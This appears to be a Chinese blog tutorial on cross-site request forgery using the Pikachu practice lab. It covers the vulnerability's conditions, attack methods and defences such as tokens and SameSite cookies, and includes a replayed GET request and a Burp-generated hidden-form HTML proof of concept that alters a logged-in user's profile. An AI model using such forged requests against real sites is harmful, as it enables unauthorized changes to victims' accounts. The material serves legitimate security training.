Csrf复习(pikachu靶场和防御手段)

CSRF漏洞简介

CSRF又称跨站请求伪造,是指攻击者在用户登录的状态下(浏览器保存了用户的cookie)通过伪造恶意url诱导用户点击,借助用户的cookie网站权限(冒充用户身份来进行非法操作,对于服务器来说是合法的)达到篡改数据、购买商品等非法操作。

CSRF漏洞形成的条件

通过上面的讲解我们知道CSRF形成的必要条件是

1、用户要在登录状态(即浏览器保存了该用户的cookie)

2、用户要访问攻击者发的恶意url链接才行

常见攻击方式

1、 链接点击:攻击者通过邮件、社交媒体或其他方式发送包含恶意请求的链接,诱导用户点击。

2、隐藏表单:在恶意网站上嵌入隐藏的表单,用户在不知情的情况下触发表单提交。

3、自动提交表单:恶意网站使用JavaScript自动提交包含恶意请求的表单。

4、图像加载:在恶意网站上嵌入图像标签,图像URL指向目标网站的恶意请求。

5、跨域请求:利用XMLHttpRequest或Fetch API发送跨域请求,但这种方式在现代浏览器中通常会被同源策略和CORS限制。

防御措施

1、CSRF Token:在每个敏感操作的请求中包含唯一的、不可预测的令牌。服务器验证该令牌以确保请求来自合法用户。

2、SameSite Cookie 属性:设置 Cookie 的 SameSite 属性为 Strict 或 Lax,防止跨站请求携带 Cookie。

3、双重提交 Cookie:在请求中发送一个 CSRF Token,同时在 Cookie 中存储相同的 Token,服务器验证这两个 Token 是否一致。

4、验证 Referer 和 Origin 头:检查请求的 Referer 和 Origin 头是否来自可信任的域。

5、定期重置 Session ID:减少会话被劫持的风险,确保会话令牌的安全性。

6、用户交互确认:对敏感操作要求用户进行额外的确认,例如输入密码或验证码。

漏洞复现(pikachu)

Csrf(get请求):

攻击者发送恶意链接,点开后信息被恶意修改

利用bp抓取的数据包重发数据

GET /vul/csrf/csrfget/csrf_get_edit.php?sex=hack&phonenum=123123&add=123123&email=123123&submit=submit HTTP/1.1

Host: pikachu

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://pikachu/vul/csrf/csrfget/csrf_get_edit.php

Cookie: PHPSESSID=1403c4j739t0v88bc26m3b2d6e

Upgrade-Insecure-Requests: 1

Priority: u=0, i

信息被修改了

Csrf(post请求)

记录原始数据

Bp抓包构造恶意网页

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">

      <input type="hidden" name="sex" value="hack" />

      <input type="hidden" name="phonenum" value="hack" />

      <input type="hidden" name="add" value="11" />

      <input type="hidden" name="email" value="111" />

      <input type="hidden" name="submit" value="submit" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>

放在外网服务器

点击恶意连接后信息被修改了

Csrf(token)抓包发现添加了token需要知道token才可以被攻击者恶意利用

  • 10
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值